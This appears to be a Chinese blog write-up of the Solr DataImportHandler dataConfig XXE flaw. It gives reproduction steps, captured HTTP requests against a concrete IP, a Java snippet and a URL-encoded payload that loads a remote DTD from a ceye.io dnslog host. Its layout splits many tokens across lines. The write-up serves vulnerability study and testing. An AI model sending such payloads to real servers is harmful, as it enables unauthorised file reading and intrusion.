Solr DIH dataConfig参数XXE漏洞
0x01 背景介绍
DataImportHandler主要用于从数据库抓取数据并创建索引,Solr搭建完毕,并将数据插入到MySQL等数据库之后,需要创建Core,并且对数据库中的数据生成索引,在生成索引的时候就会用到DIH。
在使用solr web控制台生成core索引的时候,dataConfig参数存在xxe漏洞,攻击者可以向服务端提交恶意的xml数据,利用恶意xml数据可以读取被攻击服务器的敏感文件、目录等。
漏洞影响版本:
- Solr 1.2 to 6.6.2
- Solr 7.0.0 to 7.2.1
0x02 漏洞测试
1、打开Solr Admin控制台;
2、选择创建好的core,然后点击DataImport功能;
3、点击”Execute”的时候,进行抓包,可以获取Dataimport的具体请求。
也可以直接访问功能入口Url:
http://www.hxxh.com/solr/#/corename/dataimport
以solr 6.0.1为例,抓包获取的测试请求如下:
POST /corename/dataimport?_=
1531279910257
&indent=on&wt=json HTTP/
1.1
Host:
61.133
.
214.178
:
9983
Content-Length:
282
Accept: application/json, text/plain, */*
Origin: http:
//www.hxxh.com
User-Agent: Mozilla/
5.0
(Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
67.0
.
3396.99
Safari/
537.36
Content-type: application/x-www-form-urlencoded
Referer: http:
//www.hxxh.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=
0.9
,en;q=
0.8
Connection: close
command=full-
import
&verbose=
false
&clean=
false
&commit=
false
&optimize=
false
&core=xxetest
默认请求中是不存在漏洞参数dataConfig的,使用的是配置文件的方式data-config.xml中包含了mysql数据库的连接配置,以及需要生成索引的表的字段等信息。
非默认参数的相关代码片段:
package
org.apache.solr.handler.dataimport;
......
public
class
RequestInfo {
private
final
String command;
private
final
boolean
debug;
private
final
boolean
syncMode;
private
final
boolean
commit;
private
final
boolean
optimize;
......
private
final
String configFile;
private
final
String dataConfig;
public
RequestInfo(SolrQueryRequest request, Map<String,Object> requestParams, ContentStream stream) {
......
String dataConfigParam = (String) requestParams.get(
"dataConfig"
);
if
(dataConfigParam !=
null
&& dataConfigParam.trim().length() ==
0
) {
//如果dataConfig参数的值为空,将该参数置为null
dataConfigParam =
null
;
}
dataConfig = dataConfigParam;
......
public
String getDataConfig() {
return
dataConfig;
}
......
}
使用如上请求,可以自行添加dataConfig参数,因此具体的漏洞测试请求如下
POST /corename/dataimport?_=
1531279910257
&indent=on&wt=json HTTP/
1.1
Host:
61.133
.
214.178
:
9983
Content-Length:
282
Accept: application/json, text/plain, */*
Origin: http:
//www.hxxh.com
User-Agent: Mozilla/
5.0
(Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
67.0
.
3396.99
Safari/
537.36
Content-type: application/x-www-form-urlencoded
Referer: http:
//www.nxadmin.com/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=
0.9
,en;q=
0.8
Connection: close
command=full-
import
&verbose=
false
&clean=
false
&commit=
false
&optimize=
false
&core=xxetest&dataConfig=%3C%3Fxml+version%3D%
221.0
%
22
+encoding%3D%22UTF-
8
%
22
%3F%3E %3C!DOCTYPE+root+%5B%3C!ENTITY+%
25
+remote+SYSTEM+%22http%3A%2F%2Fsolrxxe.8ug564.ceye.io%2Fftp_xxe.xml%
22
%3E%25remote%3B%5D%3E
以上是漏洞作者提供的测试payload,使用dnslog的方式证明漏洞存在,如图:
Solr DIH dataConfig参数XXE漏洞相关推荐
- XXE漏洞检测及代码执行过程
这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存 ...
- 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
- 1016.XXE漏洞攻防学习
前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...
- 基于Solr DIH实现MySQL表数据全量索引和增量索引
实现MySQL表数据全量索引和增量索引,基于Solr DIH组件实现起来比较简单,只需要重复使用Solr的DIH(Data Import Handler)组件,对data-config.xml进行简单 ...
- java xxe漏洞利用_【技术分享】XXE漏洞攻防之我见
作者:激越王 预估稿费:400RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 你是否听说过xml注入攻击呢,或者对它只知其一不知其二呢? 现在让我们从xml相关基础知识开 ...
- XXE漏洞利用技巧(XML注入):从XML到远程代码执行
目录 什么是XXE 基本利用 Blind OOB XXE 场景1 - 端口扫描 场景2 - 通过DTD窃取文件 场景3 - 远程代码执行 场景4 - 钓鱼 场景4 - HTTP 内网主机探测 场景5 ...
- windows文件读取 xxe_java xxe漏洞
一.XXE漏洞简介 1.XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件.探测内网端口.攻击内 ...
- XXE漏洞攻击与防御
转自https://www.jianshu.com/p/7325b2ef8fc9 0x01 XML基础 在聊XXE之前,先说说相关的XML知识吧. 定义 XML用于标记电子文件使其具有结构性的标记语言 ...
- 【XXE】XXE漏洞攻击与防御
0x01 XML基础 在聊XXE之前,先说说相关的XML知识吧. 定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言. ...
最新文章
- szu 寒训第二天 树状数组 二维树状数组详解,以及树状数组扩展应用【求逆序对,以及动态第k小数】
- The only supported ciphers are AES-128-CBC and AES-256-CBC
- python Django之Web框架本质 (2)
- php框架加滑动条,IOS_iOS实现双向滑动条效果,最近做项目,碰到一种双向滑 - phpStudy...
- 2018-2019-2 网络对抗技术 20165230 Exp8 Web基础
- c fscanf 按行读取文件_语言 文件 看这一篇就够了
- apache字体文件跨域_在CabloyJS中将Webpack生成的文件自动上传到阿里云OSS
- Linux开发:error: ‘clockid_t’ has not been declared
- java计算-5%3_JAVA基础教程day03--运算符
- jQuery实现留言板案例
- 离散考试题计算机,离散数学试题及答案_离散数学试题库_离散数学试卷及答案...
- plc应用与c语言编程区别,PLC编程与应用入门基础知识
- 项目管理java_java项目管理经验总结
- VM虚拟机安装苹果雪豹操作系统
- I2C-两线外设接口-用于ArduinoNano, uno ,Mega2560
- mysql建库、建表命令、sql语句大全
- 入门级运动蓝牙耳机之好评之王!
- Linux E514: write error (file system full?)错误
- 网站代理是什么?有什么需要注意的?
- 购买或者租用服务器注意项